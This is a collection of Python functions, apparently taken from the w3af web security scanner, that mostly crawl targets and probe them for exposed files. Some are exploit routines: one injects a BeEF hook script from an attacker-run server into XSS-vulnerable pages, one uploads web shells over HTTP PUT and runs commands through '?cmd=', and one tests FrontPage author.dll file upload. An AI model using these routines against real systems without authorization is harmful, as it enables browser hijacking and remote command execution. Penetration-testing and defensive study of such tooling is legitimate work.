def discover(self, fuzzableRequest ): ''' Get the robots.txt file and parse it. @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test. ''' if not self._exec: # This will remove the plugin from the discovery plugins to be runned. raise w3afRunOnce() else: # Only run once self._exec = False dirs = [] self._new_fuzzable_requests = [] base_url = urlParser.baseUrl( fuzzableRequest.getURL() ) robots_url = urlParser.urlJoin( base_url , 'robots.txt' ) http_response = self._urlOpener.GET( robots_url, useCache=True ) if not is_404( http_response ): # Save it to the kb! i = info.info() i.setPluginName(self.getName()) i.setName('robots.txt file') i.setURL( robots_url ) i.setId( http_response.id ) i.setDesc( 'A robots.txt file was found at: "'+ robots_url +'".' ) kb.kb.append( self, 'robots.txt', i ) om.out.information( i.getDesc() ) # Work with it... dirs.append( robots_url ) for line in http_response.getBody().split('\n'): line = line.strip() if len(line) > 0 and line[0] != '#' and (line.upper().find('ALLOW') == 0 or\ line.upper().find('DISALLOW') == 0 ): url = line[ line.find(':') + 1 : ] url = url.strip() url = urlParser.urlJoin( base_url , url ) dirs.append( url ) for url in dirs: # Send the requests using threads: targs = ( url, ) self._tm.startFunction( target=self._get_and_parse, args=targs , ownerObj=self ) # Wait for all threads to finish self._tm.join( self ) return self._new_fuzzable_requests
def discover(self, fuzzableRequest): """ Get the file and parse it. @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test. """ if not self._exec: raise w3afRunOnce() else: # Only run once self._exec = False base_url = urlParser.baseUrl(fuzzableRequest.getURL()) ### Google Gears for ext in self._extensions: for word in file(self._wordlist): manifest_url = urlParser.urlJoin(base_url, word.strip()) manifest_url = manifest_url + ext om.out.debug("Google Gears Manifest Testing " + manifest_url) http_response = self._urlOpener.GET(manifest_url, useCache=True) if '"entries":' in http_response and not is_404(http_response): # Save it to the kb! i = info.info() i.setPluginName(self.getName()) i.setName("Gears Manifest") i.setURL(manifest_url) i.setId(http_response.id) desc = 'A gears manifest file was found at: "' + manifest_url desc += '". Each file should be manually reviewed for sensitive' desc += " information that may get cached on the client." i.setDesc(desc) kb.kb.append(self, manifest_url, i) om.out.information(i.getDesc()) ### CrossDomain.XML cross_domain_url = urlParser.urlJoin(base_url, "crossdomain.xml") om.out.debug("Checking crossdomain.xml file") response = self._urlOpener.GET(cross_domain_url, useCache=True) if not is_404(response): self._checkResponse(response, "crossdomain.xml") ### CrossAccessPolicy.XML client_access_url = urlParser.urlJoin(base_url, "clientaccesspolicy.xml") om.out.debug("Checking clientaccesspolicy.xml file") response = self._urlOpener.GET(client_access_url, useCache=True) if not is_404(response): self._checkResponse(response, "clientaccesspolicy.xml") return []
def _create_dirs(self, url , userList = None ): ''' Append the users to the URL. @param url: The original url @return: A list of URL's with the username appended. ''' res = [] if userList is None: userList = self._get_users() for user in userList: res.append( (urlParser.urlJoin( url , '/'+user+'/' ) , user ) ) res.append( (urlParser.urlJoin( url , '/~'+user+'/' ) , user ) ) return res
def discover(self, fuzzableRequest): ''' For every directory, fetch a list of shell files and analyze the response. @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test. ''' domain_path = urlParser.getDomainPath(fuzzableRequest.getURL()) self._fuzzable_requests_to_return = [] if domain_path not in self._analyzed_dirs: self._analyzed_dirs.append(domain_path) # Search for the web shells for web_shell_filename in WEB_SHELLS: web_shell_url = urlParser.urlJoin(domain_path , web_shell_filename) # Perform the check in different threads targs = (web_shell_url,) self._tm.startFunction(target=self._check_if_exists, args=targs, ownerObj=self) # Wait for all threads to finish self._tm.join(self) return self._fuzzable_requests_to_return
def _upload_file( self, domain_path, randFile ): ''' Upload the file using author.dll @parameter domain_path: http://localhost/f00/ @parameter randFile: fj01afka.html ''' file_path = urlParser.getPath(domain_path) + randFile # TODO: The frontpage version should be obtained from the information saved in the kb # by the discovery.frontpage_version plugin! # The 4.0.2.4715 version should be dynamic! # The information is already saved in the discovery plugin in the line: # i['version'] = version_match.group(1) content = "method=put document:4.0.2.4715&service_name=&document=[document_name=" content += file_path content += ";meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false" content += '\n' # The content of the file I'm uploading is the file name reversed content += randFile[::-1] # TODO: The _vti_bin and _vti_aut directories should be PARSED from the _vti_inf file # inside the discovery.frontpage_version plugin, and then used here targetURL = urlParser.urlJoin( domain_path, '_vti_bin/_vti_aut/author.dll' ) try: res = self._urlOpener.POST( targetURL , data=content ) except w3afException, e: om.out.debug('Exception while uploading file using author.dll: ' + str(e))
def _findMetaRedir( self, tag, attrs): ''' Find meta tag redirections, like this one: <META HTTP-EQUIV="refresh" content="4;URL=http://www.f00.us/"> ''' if tag.lower() == 'meta': hasHTTP_EQUIV = False hasContent = False content = '' for attr in attrs: if attr[0].lower() == 'http-equiv' and attr[1].lower() == 'refresh': hasHTTP_EQUIV = True if attr[0].lower() == 'content': hasContent = True content = attr[1] if hasContent and hasHTTP_EQUIV: self._metaRedirs.append( content ) # And finally I add the URL to the list of url's found in the document... # The content variables looks something like... "4;URL=http://www.f00.us/" # The content variables looks something like... "2; URL=http://www.f00.us/" # The content variables looks something like... "6 ; URL=http://www.f00.us/" for url in re.findall('.*?URL.*?=(.*)', content, re.IGNORECASE): url = url.strip() url = self._decode_URL( url, self._encoding ) url = urlParser.urlJoin( self._baseUrl , url ) self._parsed_URLs.append( url ) self._tag_and_url.append( ('meta', url ) )
def unknown_starttag(self, tag, attrs): ''' Called for each start tag attrs is a list of (attr, value) tuples e.g. for <pre class="screen">, tag="pre", attrs=[("class", "screen")] Note that improperly embedded non-HTML code (like client-side Javascript) may be parsed incorrectly by the ancestor, causing runtime script errors. All non-HTML code must be enclosed in HTML comment tags (<!-- code -->) to ensure that it will pass through this parser unaltered (in handle_comment). ''' # TODO: For some reason this method failed to work: #def _handle_base_starttag(self, tag, attrs): # so I added this here... it's not good code... but... it works! if tag.lower() == 'base': # Get the href value and then join new_base_url = '' for attr in attrs: if attr[0].lower() == 'href': new_base_url = attr[1] break # set the new base URL self._baseUrl = urlParser.urlJoin( self._baseUrl , new_base_url ) if tag.lower() == 'script': self._insideScript = True try: self._findReferences(tag, attrs) except Exception, e: msg = 'An unhandled exception was found while finding references inside a document.' msg += ' The exception is: "' + str(e) + '"' om.out.error( msg ) om.out.error('Error traceback: ' + str( traceback.format_exc() ) )
def _generate_404_knowledge( self, url ): ''' Based on a URL, request something that we know is going to be a 404. Afterwards analyze the 404's and summarise them. @return: A list with 404 bodies. ''' # Get the filename extension and create a 404 for it extension = urlParser.getExtension( url ) domain_path = urlParser.getDomainPath( url ) # the result self._response_body_list = [] # # This is a list of the most common handlers, in some configurations, the 404 # depends on the handler, so I want to make sure that I catch the 404 for each one # handlers = ['py', 'php', 'asp', 'aspx', 'do', 'jsp', 'rb', 'do', 'gif', 'htm', extension] handlers += ['pl', 'cgi', 'xhtml', 'htmls'] handlers = list(set(handlers)) for extension in handlers: rand_alnum_file = createRandAlNum( 8 ) + '.' + extension url404 = urlParser.urlJoin( domain_path , rand_alnum_file ) # Send the requests using threads: targs = ( url404, ) tm.startFunction( target=self._send_404, args=targs , ownerObj=self ) # Wait for all threads to finish sending the requests. tm.join( self ) # # I have the bodies in self._response_body_list , but maybe they all look the same, so I'll # filter the ones that look alike. # result = [ self._response_body_list[0], ] for i in self._response_body_list: for j in self._response_body_list: if relative_distance_ge(i, j, IS_EQUAL_RATIO): # They are equal, we are ok with that continue else: # They are no equal, this means that we'll have to add this to the list result.append(j) # I don't need these anymore self._response_body_list = None # And I return the ones I need result = list(set(result)) om.out.debug('The 404 body result database has a lenght of ' + str(len(result)) +'.') return result
def discover(self, fuzzableRequest ): ''' Searches for user directories. @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test. ''' if not self._run: raise w3afRunOnce() else: self._run = False self._fuzzable_requests = [] base_url = urlParser.baseUrl( fuzzableRequest.getURL() ) self._headers = {'Referer': base_url } # Create a response body to compare with the others non_existant_user = '******' test_URL = urlParser.urlJoin( base_url, non_existant_user ) try: response = self._urlOpener.GET( test_URL, useCache=True, \ headers=self._headers ) response_body = response.getBody() except: raise w3afException('userDir failed to create a non existant signature.') self._non_existant = response_body.replace( non_existant_user, '') # Check the users to see if they exist url_user_list = self._create_dirs( base_url ) for url, user in url_user_list : om.out.debug('userDir is testing ' + url ) # Send the requests using threads: targs = ( url, user ) self._tm.startFunction( target=self._do_request, args=targs, ownerObj=self ) # Wait for all threads to finish self._tm.join( self ) # Only do this if I already know that users can be identified. if kb.kb.getData( 'userDir', 'users' ) != []: # AND only run once if self._run_OS_ident: self._run_OS_ident = False self._advanced_identification( base_url, 'os' ) if self._run_app_ident: self._run_app_ident = False self._advanced_identification( base_url, 'apps' ) # Report findings of remote OS, applications, users, etc. self._report_findings() return self._fuzzable_requests
def _PUT( self, domain_path ): ''' Tests PUT method. ''' # upload url = urlParser.urlJoin( domain_path, createRandAlpha( 5 ) ) rndContent = createRandAlNum(6) put_response = self._urlOpener.PUT( url , data=rndContent ) # check if uploaded res = self._urlOpener.GET( url , useCache=True ) if res.getBody() == rndContent: v = vuln.vuln() v.setPluginName(self.getName()) v.setURL( url ) v.setId( [put_response.id, res.id] ) v.setSeverity(severity.HIGH) v.setName( 'Insecure DAV configuration' ) v.setMethod( 'PUT' ) msg = 'File upload with HTTP PUT method was found at resource: "' + domain_path + '".' msg += ' A test file was uploaded to: "' + res.getURL() + '".' v.setDesc( msg ) kb.kb.append( self, 'dav', v ) # Report some common errors elif put_response.getCode() == 500: i = info.info() i.setPluginName(self.getName()) i.setURL( url ) i.setId( res.id ) i.setName( 'DAV incorrect configuration' ) i.setMethod( 'PUT' ) msg = 'DAV seems to be incorrectly configured. The web server answered with a 500' msg += ' error code. In most cases, this means that the DAV extension failed in' msg += ' some way. This error was found at: "' + put_response.getURL() + '".' i.setDesc( msg ) kb.kb.append( self, 'dav', i ) # Report some common errors elif put_response.getCode() == 403: i = info.info() i.setPluginName(self.getName()) i.setURL( url ) i.setId( [put_response.id, res.id] ) i.setName( 'DAV insufficient privileges' ) i.setMethod( 'PUT' ) msg = 'DAV seems to be correctly configured and allowing you to use the PUT method' msg +=' but the directory does not have the correct permissions that would allow' msg += ' the web server to write to it. This error was found at: "' msg += put_response.getURL() + '".' i.setDesc( msg ) kb.kb.append( self, 'dav', i )
def _bruteforce_directories(self, base_path): ''' @parameter base_path: The base path to use in the bruteforcing process, can be something like http://host.tld/ or http://host.tld/images/ . ''' for directory_name in file(self._dir_list): directory_name = directory_name.strip() # ignore comments and empty lines if directory_name and not directory_name.startswith('#'): dir_url = urlParser.urlJoin( base_path , directory_name) dir_url += '/' http_response = self._urlOpener.GET( dir_url, useCache=False ) if not is_404( http_response ): # # Looking fine... but lets see if this is a false positive or not... # dir_url = urlParser.urlJoin( base_path , directory_name + createRandAlNum(5) ) dir_url += '/' invalid_http_response = self._urlOpener.GET( dir_url, useCache=False ) if is_404( invalid_http_response ): # # Good, the directory_name + createRandAlNum(5) return a 404, the original # directory_name is not a false positive. # fuzzable_reqs = self._createFuzzableRequests( http_response ) self._fuzzable_requests.extend( fuzzable_reqs ) msg = 'Directory bruteforcer plugin found directory "' msg += http_response.getURL() + '"' msg += ' with HTTP response code ' + str(http_response.getCode()) msg += ' and Content-Length: ' + str(len(http_response.getBody())) msg += '.' om.out.information( msg )
def _check_and_analyze(self, domain_path, php_info_filename): ''' Check if a php_info_filename exists in the domain_path. @return: None, everything is saved to the self._new_fuzzable_requests list. ''' # Request the file php_info_url = urlParser.urlJoin( domain_path , php_info_filename ) try: response = self._urlOpener.GET( php_info_url, useCache=True ) om.out.debug( '[phpinfo] Testing "' + php_info_url + '".' ) except w3afException, w3: msg = 'Failed to GET phpinfo file: "' + php_info_url + '".' msg += 'Exception: "' + str(w3) + '".' om.out.debug( msg )
def __init__(self): baseAttackPlugin.__init__(self) # Internal variables self._vuln = None # User configured variables self._beefPasswd = 'BeEFConfigPass' # without the hook dir ! self._beefURL = 'http://localhost/beef/' # A message to the user self._message = 'You can start interacting with the beEF server at: ' self._message += urlParser.urlJoin( self._beefURL, 'ui/' )
def discover(self, fuzzableRequest ): ''' For every directory, fetch a list of files and analyze the response using regex. @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test. ''' domain_path = urlParser.getDomainPath( fuzzableRequest.getURL() ) self._fuzzable_requests_to_return = [] if domain_path not in self._analyzed_dirs: self._analyzed_dirs.append( domain_path ) # # First we check if the .git/HEAD file exists # url, regular_expression = self._compiled_git_info[0] git_url = urlParser.urlJoin(domain_path, url) try: response = self._urlOpener.GET( git_url, useCache=True ) except w3afException: om.out.debug('Failed to GET git file: "' + git_url + '"') else: if not is_404(response): # # It looks like we have a GIT repository! # for url, regular_expression in self._compiled_git_info: git_url = urlParser.urlJoin(domain_path, url) targs = (domain_path, git_url, regular_expression) # Note: The .git/HEAD request is only sent once. We use the cache. self._tm.startFunction(target=self._check_if_exists, args=targs, ownerObj=self) # Wait for all threads to finish self._tm.join( self ) return self._fuzzable_requests_to_return
def _parse_xssed_result(self, response): ''' Parse the result from the xssed site and create the corresponding info objects. @return: None ''' html_body = response.getBody() if "<b>XSS:</b>" in html_body: # # Work! # regex_many_vulns = re.findall("<a href='(/mirror/\d*/)' target='_blank'>", html_body) for mirror_relative_link in regex_many_vulns: mirror_url = urlParser.urlJoin( self._xssed_url , mirror_relative_link ) xss_report_response = self._urlOpener.GET( mirror_url ) matches = re.findall("URL:.+", xss_report_response.getBody()) v = vuln.vuln() v.setPluginName(self.getName()) v.setName('Possible XSS vulnerability') v.setURL( mirror_url ) if self._fixed in xss_report_response.getBody(): v.setSeverity( severity.LOW ) msg = 'This script contained a XSS vulnerability: "' msg += self._decode_xssed_url( self._decode_xssed_url(matches[0]) ) +'".' else: v.setSeverity( severity.HIGH ) msg = 'According to xssed.com , this script contains a XSS vulnerability: "' msg += self._decode_xssed_url( self._decode_xssed_url(matches[0]) ) +'".' v.setDesc( msg ) kb.kb.append( self, 'xss', v ) om.out.information( v.getDesc() ) # # Add the fuzzable request, this is useful if I have the XSS plugin enabled # because it will re-test this and possibly confirm the vulnerability # fuzzable_requests = self._createFuzzableRequests( xss_report_response ) self._fuzzable_requests_to_return.extend( fuzzable_requests ) else: # Nothing to see here... om.out.debug('xssedDotCom did not find any previously reported XSS vulnerabilities.') return self._fuzzable_requests_to_return
def _verify_upload(self, domain_path, randFile, upload_id): ''' Verify if the file was uploaded. @parameter domain_path: http://localhost/f00/ @parameter randFile: The filename that was supposingly uploaded @parameter upload_id: The id of the POST request to author.dll ''' targetURL = urlParser.urlJoin( domain_path, randFile ) try: res = self._urlOpener.GET( targetURL ) except w3afException, e: msg = 'Exception while verifying if the file that was uploaded using ' msg += 'author.dll was there: ' + str(e) om.out.debug(msg)
def _verifyVuln( self, vuln_obj ): ''' This command verifies a vuln. This is really hard work! :P @parameter vuln_obj: The vulnerability to exploit. @return : True if vuln can be exploited. ''' # Internal note: # <script language="Javascript" src="http://localhost/beef/hook/beefmagic.js.php"></script> to_include = '<script language="Javascript" src="' to_include += urlParser.urlJoin( self._beefURL, 'hook/beefmagic.js.php' ) + '"></script>' if 'permanent' in vuln_obj.keys(): # Its a permanent / persistant XSS, nice ! =) write_payload_mutant = vuln_obj['write_payload'] write_payload_mutant.setModValue( to_include ) # Write the XSS response = self._sendMutant( write_payload_mutant, analyze=False ) # Read it ! response = self._sendMutant( vuln_obj['read_payload'], analyze=False ) if to_include in response.getBody(): msg = 'The exploited cross site scripting is of type permanent. To be activated,' msg += ' the zombies should navigate to: ' + vuln_obj['read_payload'].getURI() om.out.console( msg ) om.out.console( self._message ) return True else: return False else: # Its a simple xss if vuln_obj.getMethod() == 'GET': # I'll be able to exploit this one. mutant = vuln_obj.getMutant() mutant.setModValue( to_include ) response = self._sendMutant( mutant, analyze=False ) if to_include in response.getBody(): msg = 'To be activated, the zombies have to navigate to: "' msg += mutant.getURI() + '".' om.out.console( msg ) om.out.console( self._message ) return True else: return False
def _handle_form_tag(self, tag, attrs): """ Handles the form tags. This method also looks if there are "pending inputs" in the self._saved_inputs list and parses them. """ # Find the method method = "GET" foundMethod = False for attr in attrs: if attr[0].lower() == "method": method = attr[1].upper() foundMethod = True if not foundMethod: om.out.debug("htmlParser found a form without a method. Using GET as the default.") # Find the action foundAction = False for attr in attrs: if attr[0].lower() == "action": decoded_action = self._decode_URL(attr[1], self._encoding) action = urlParser.urlJoin(self._baseUrl, decoded_action) foundAction = True if not foundAction: msg = "htmlParser found a form without an action attribute. Javascript may be used..." msg += " but another option (mozilla does this) is that the form is expected to be " msg += " posted back to the same URL (the one that returned the HTML that we are " msg += " parsing)." om.out.debug(msg) action = self._source_url # Create the form object and store everything for later use self._insideForm = True form_obj = form.form() form_obj.setMethod(method) form_obj.setAction(action) self._forms.append(form_obj) # Now I verify if they are any input tags that were found outside the scope of a form tag for tag, attrs in self._saved_inputs: # Parse them just like if they were found AFTER the form tag opening self._handle_input_tag_inside_form(tag, attrs) # All parsed, remove them. self._saved_inputs = []
def exploit( self, vulnToExploit=None ): ''' Exploits a XSS vuln that was found and stored in the kb. @return: True if the shell is working and the user can start calling specific_user_input ''' om.out.console( 'Browser Exploitation Framework - by Wade Alcorn http://www.bindshell.net' ) xss_vulns = kb.kb.getData( 'xss' , 'xss' ) if not self.canExploit(): raise w3afException('No cross site scripting vulnerabilities have been found.') # First I'll configure the beef server, if this is unsuccessfull, then nothing else # should be done! # # GET http://localhost/beef/submit_config.php?config=http://localhost/beef/&passwd= #beEFconfigPass HTTP/1.1 config_URL = urlParser.urlJoin( self._beefURL , 'submit_config.php' ) config_URI = config_URL + '?config=' + self._beefURL + '&passwd=' + self._beefPasswd response = self._urlOpener.GET( config_URI ) if response.getBody().count('BeEF Successfuly Configured'): # everything ok! pass elif 'Incorrect BeEF password, please try again.' in response.getBody(): raise w3afException('Incorrect password for beEF configuration.') elif 'Permissions on the' in response.getBody(): raise w3afException('Incorrect BeEF installation') else: raise w3afException('BeEF installation not found.') # Try to get a proxy using one of the vulns for vuln_obj in xss_vulns: msg = 'Trying to exploit using vulnerability with id: ' + str( vuln_obj.getId() ) om.out.console( msg ) if self._generateProxy(vuln_obj): # TODO: Create a proxy instead of a shell # Create the shell object shell_obj = xssShell(vuln_obj) shell_obj.setBeefURL( self._beefURL ) kb.kb.append( self, 'shell', shell_obj ) return [ shell_obj, ] else: msg = 'Failed to exploit using vulnerability with id: ' + str( vuln_obj.getId() ) om.out.console( msg ) return []
def _compare_dir( self, arg, directory, flist ): ''' This function is the callback function called from os.path.walk, from the python help function: walk(top, func, arg) Directory tree walk with callback function. For each directory in the directory tree rooted at top (including top itself, but excluding '.' and '..'), call func(arg, dirname, fnames). dirname is the name of the directory, and fnames a list of the names of the files and subdirectories in dirname (excluding '.' and '..'). func may modify the fnames list in-place (e.g. via del or slice assignment), and walk will only recurse into the subdirectories whose names remain in fnames; this can be used to implement a filter, or to impose a specific order of visiting. No semantics are defined for, or required of, arg, beyond that arg is always passed to func. It can be used, e.g., to pass a filename pattern, or a mutable object designed to accumulate statistics. Passing None for arg is common. ''' if self._first: self._start_path = directory self._first = False directory_2 = directory.replace( self._start_path,'' ) path = self._remote_path if directory_2 != '': path += directory_2 + os.path.sep else: path += directory_2 for fname in flist: if os.path.isfile( directory + os.path.sep + fname ): url = urlParser.urlJoin( path, fname ) response = self._easy_GET( url ) if not is_404( response ): if response.is_text_or_html(): self._fuzzableRequests.extend( self._createFuzzableRequests( response ) ) self._check_content( response, directory + os.path.sep + fname ) self._eq.append( url ) else: self._not_eq.append( url )
def discover(self, fuzzableRequest ): ''' Get the sitemap.xml file and parse it. @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test. ''' if not self._exec: # This will remove the plugin from the discovery plugins to be runned. raise w3afRunOnce() else: # Only run once self._exec = False self._new_fuzzable_requests = [] base_url = urlParser.baseUrl( fuzzableRequest.getURL() ) sitemap_url = urlParser.urlJoin( base_url , 'sitemap.xml' ) response = self._urlOpener.GET( sitemap_url, useCache=True ) # Remember that httpResponse objects have a faster "__in__" than # the one in strings; so string in response.getBody() is slower than # string in response if '</urlset>' in response and not is_404( response ): om.out.debug('Analyzing sitemap.xml file.') self._new_fuzzable_requests.extend( self._createFuzzableRequests( response ) ) import xml.dom.minidom om.out.debug('Parsing xml file with xml.dom.minidom.') try: dom = xml.dom.minidom.parseString( response.getBody() ) except: raise w3afException('Error while parsing sitemap.xml') urlList = dom.getElementsByTagName("loc") for url in urlList: url = url.childNodes[0].data # Send the requests using threads: targs = ( url, ) self._tm.startFunction( target=self._get_and_parse, args=targs , ownerObj=self ) # Wait for all threads to finish self._tm.join( self ) return self._new_fuzzable_requests
def _findReferences(self, tag, attrs): ''' This method finds references inside a document. ''' if tag.lower() not in self._tagsContainingURLs: return for attr_name, attr_val in attrs: if attr_name.lower() in self._urlAttrs: # Only add it to the result of the current URL is not a fragment if attr_val and not attr_val.startswith('#'): url = urlParser.urlJoin(self._baseUrl, attr_val) url = self._decode_URL(url, self._encoding) url = urlParser.normalizeURL(url) if url not in self._parsed_URLs: self._parsed_URLs.append(url) self._tag_and_url.append((tag.lower(), url)) break
def discover(self, fuzzableRequest ): ''' GET some files and parse them. @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test. ''' dirs = [] if not self._exec : # This will remove the plugin from the discovery plugins to be runned. raise w3afRunOnce() else: # Only run once self._exec = False baseUrl = urlParser.baseUrl( fuzzableRequest.getURL() ) for url, regex_string in self.getOracleData(): oracle_discovery_URL = urlParser.urlJoin( baseUrl , url ) response = self._urlOpener.GET( oracle_discovery_URL, useCache=True ) if not is_404( response ): dirs.extend( self._createFuzzableRequests( response ) ) if re.match( regex_string , response.getBody(), re.DOTALL): i = info.info() i.setPluginName(self.getName()) i.setName('Oracle application') i.setURL( response.getURL() ) i.setDesc( self._parse( url, response ) ) i.setId( response.id ) kb.kb.append( self, 'info', i ) om.out.information( i.getDesc() ) else: msg = 'oracleDiscovery found the URL: ' + response.getURL() msg += ' but failed to parse it. The content of the URL is: "' msg += response.getBody() + '".' om.out.debug( msg ) return dirs
def _generate_URLs(self, original_url): ''' Generate new URLs based on original_url. @parameter original_url: The original url that has to be modified in order to trigger errors in the remote application. ''' res = [] special_chars = ['|', '~'] filename = urlParser.getFileName( original_url ) if filename != '' and '.' in filename: splitted_filename = filename.split('.') extension = splitted_filename[-1:][0] name = '.'.join( splitted_filename[0:-1] ) for char in special_chars: new_filename = name + char + '.' + extension new_url = urlParser.urlJoin( urlParser.getDomainPath(original_url), new_filename) res.append( new_url ) return res
def _generate_URL_from_result( self, analyzed_variable, element_index, result_set, fuzzableRequest ): ''' Based on the result, create the new URLs to test. @parameter analyzed_variable: The parameter name that is being analyzed @parameter element_index: 0 in most cases, >0 if we have repeated parameter names @parameter result_set: The set of results that wordnet gave use @parameter fuzzableRequest: The fuzzable request that we got as input in the first place. @return: An URL list. ''' if analyzed_variable is None: # The URL was analyzed url = fuzzableRequest.getURL() fname = urlParser.getFileName( url ) dp = urlParser.getDomainPath( url ) # The result result = [] splitted_fname = fname.split('.') if len(splitted_fname) == 2: name = splitted_fname[0] extension = splitted_fname[1] else: name = '.'.join(splitted_fname[:-1]) extension = 'html' for set_item in result_set: new_fname = fname.replace( name, set_item ) frCopy = fuzzableRequest.copy() frCopy.setURL( urlParser.urlJoin( dp, new_fname ) ) result.append( frCopy ) return result else: mutants = createMutants( fuzzableRequest , result_set, \ fuzzableParamList=[analyzed_variable,] ) return mutants
def audit(self, freq ): ''' Searches for file upload vulns using a POST to author.dll. @param freq: A fuzzableRequest ''' # Set some value domain_path = urlParser.getDomainPath( freq.getURL() ) # Start if self._stop_on_first and kb.kb.getData('frontpage', 'frontpage'): # Nothing to do, I have found vuln(s) and I should stop on first msg = 'Not verifying if I can upload files to: "' + domain_path + '" using author.dll' msg += '. Because I already found one vulnerability.' om.out.debug(msg) else: # I haven't found any vulns yet, OR i'm trying to find every # directory where I can write a file. if domain_path not in self._already_tested: om.out.debug( 'frontpage plugin is testing: ' + freq.getURL() ) self._already_tested.add( domain_path ) # Find a file that doesn't exist found404 = False for i in xrange(3): randFile = createRandAlpha( 5 ) + '.html' randPathFile = urlParser.urlJoin(domain_path, randFile) res = self._urlOpener.GET( randPathFile ) if is_404( res ): found404 = True break if found404: upload_id = self._upload_file( domain_path, randFile ) self._verify_upload( domain_path, randFile, upload_id ) else: msg = 'frontpage plugin failed to find a 404 page. This is mostly because of an' msg += ' error in 404 page detection.' om.out.error(msg)
def _verifyVuln(self, vuln_obj): """ This command verifies a vuln. This is really hard work! :P @return : True if vuln can be exploited. """ # Create the shell filename = createRandAlpha(7) extension = urlParser.getExtension(vuln_obj.getURL()) # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells(extension) for file_content, real_extension in shell_list: if extension == "": extension = real_extension om.out.debug('Uploading shell with extension: "' + extension + '".') # Upload the shell url_to_upload = urlParser.urlJoin(vuln_obj.getURL(), filename + "." + extension) om.out.debug("Uploading file: " + url_to_upload) self._urlOpener.PUT(url_to_upload, data=file_content) # Verify if I can execute commands # All w3af shells, when invoked with a blank command, return a # specific value in the response: # shell_handler.SHELL_IDENTIFIER response = self._urlOpener.GET(url_to_upload + "?cmd=") if shell_handler.SHELL_IDENTIFIER in response.getBody(): msg = 'The uploaded shell returned the SHELL_IDENTIFIER: "' msg += shell_handler.SHELL_IDENTIFIER + '".' om.out.debug(msg) self._exploit_url = url_to_upload + "?cmd=" return True else: msg = 'The uploaded shell with extension: "' + extension msg += "\" DIDN'T returned what we expected, it returned: " + response.getBody() om.out.debug(msg) extension = ""
def discover(self, fuzzableRequest ): ''' For every directory, fetch a list of files and analyze the response. @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test. ''' fuzzable_return_value = [] if not self._exec: # This will remove the plugin from the discovery plugins to be runned. raise w3afRunOnce() else: # Run the plugin. self._exec = False for domain_path in urlParser.getDirectories(fuzzableRequest.getURL() ): if domain_path not in self._analyzed_dirs: # Save the domain_path so I know I'm not working in vane self._analyzed_dirs.add( domain_path ) # Request the file frontpage_info_url = urlParser.urlJoin( domain_path , "_vti_inf.html" ) try: response = self._urlOpener.GET( frontpage_info_url, useCache=True ) om.out.debug( '[frontpage_version] Testing "' + frontpage_info_url + '".' ) except w3afException, w3: msg = 'Failed to GET Frontpage Server _vti_inf.html file: "' msg += frontpage_info_url + '". Exception: "' + str(w3) + '".' om.out.debug( msg ) else: # Check if it's a Fronpage Info file if not is_404( response ): fuzzable_return_value.extend( self._createFuzzableRequests( response ) ) self._analyze_response( response ) return fuzzable_return_value
def find_relative( doc ): res = [] # TODO: Also matches //foo/bar.txt and http://host.tld/foo/bar.txt # I'm removing those matches manually below regex = '((:?[/]{1,2}[A-Z0-9a-z%_\-~\.]+)+\.[A-Za-z0-9]{2,4}(((\?)([a-zA-Z0-9]*=\w*)){1}((&)([a-zA-Z0-9]*=\w*))*)?)' relative_regex = re.compile( regex ) for match_tuple in relative_regex.findall(doc): match_string = match_tuple[0] # # And now I filter out some of the common false positives # if match_string.startswith('//'): continue if match_string.startswith('://'): continue if re.match('HTTP/\d\.\d', match_string): continue # Matches "PHP/5.2.4-2ubuntu5.7" , "Apache/2.2.8", and "mod_python/3.3.1" if re.match('.*?/\d\.\d\.\d', match_string): continue # # Filter finished. # domainPath = urlParser.getDomainPath(httpResponse.getURL()) url = urlParser.urlJoin( domainPath , match_string ) url = self._decode_URL(url, self._encoding) res.append( url ) return res
def discover(self, fuzzableRequest ): ''' Get the server-status and parse it. @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test. ''' res = [] if not self._exec : # This will remove the plugin from the discovery plugins to be runned. raise w3afRunOnce() else: # Only run once self._exec = False base_url = urlParser.baseUrl( fuzzableRequest.getURL() ) server_status_url = urlParser.urlJoin( base_url , 'server-status' ) response = self._urlOpener.GET( server_status_url, useCache=True ) if not is_404( response ) and response.getCode() not in range(400, 404): msg = 'Apache server-status cgi exists. The URL is: "' + response.getURL() + '".' om.out.information( msg ) # Create some simple fuzzable requests res.extend( self._createFuzzableRequests( response ) ) # Get the server version # <dl><dt>Server Version: Apache/2.2.9 (Unix)</dt> for version in re.findall('<dl><dt>Server Version: (.*?)</dt>', response.getBody()): # Save the results in the KB so the user can look at it i = info.info() i.setPluginName(self.getName()) i.setURL( response.getURL() ) i.setId( response.id ) i.setName( 'Apache Server version' ) msg = 'The web server has the apache server status module enabled, ' msg += 'which discloses the following remote server version: "' + version + '".' i.setDesc( msg ) om.out.information(i.getDesc()) kb.kb.append( self, 'server', i ) # Now really parse the file and create custom made fuzzable requests regex = '<td>.*?<td nowrap>(.*?)</td><td nowrap>.*? (.*?) HTTP/1' for domain, path in re.findall(regex, response.getBody() ): if 'unavailable' in domain: domain = urlParser.getDomain( response.getURL() ) foundURL = urlParser.getProtocol( response.getURL() ) + '://' + domain + path # Check if the requested domain and the found one are equal. if urlParser.getDomain( foundURL ) == urlParser.getDomain( response.getURL() ): # They are equal, request the URL and create the fuzzable requests tmpRes = self._urlOpener.GET( foundURL, useCache=True ) if not is_404( tmpRes ): res.extend( self._createFuzzableRequests( tmpRes ) ) else: # This is a shared hosting server self._shared_hosting_hosts.append( domain ) # Now that we are outsite the for loop, we can report the possible vulns if len( self._shared_hosting_hosts ): v = vuln.vuln() v.setPluginName(self.getName()) v.setURL( fuzzableRequest.getURL() ) v.setId( response.id ) self._shared_hosting_hosts = list( set( self._shared_hosting_hosts ) ) v['alsoInHosting'] = self._shared_hosting_hosts v.setDesc( 'The web application under test seems to be in a shared hosting.' ) v.setName( 'Shared hosting' ) v.setSeverity(severity.MEDIUM) kb.kb.append( self, 'sharedHosting', v ) 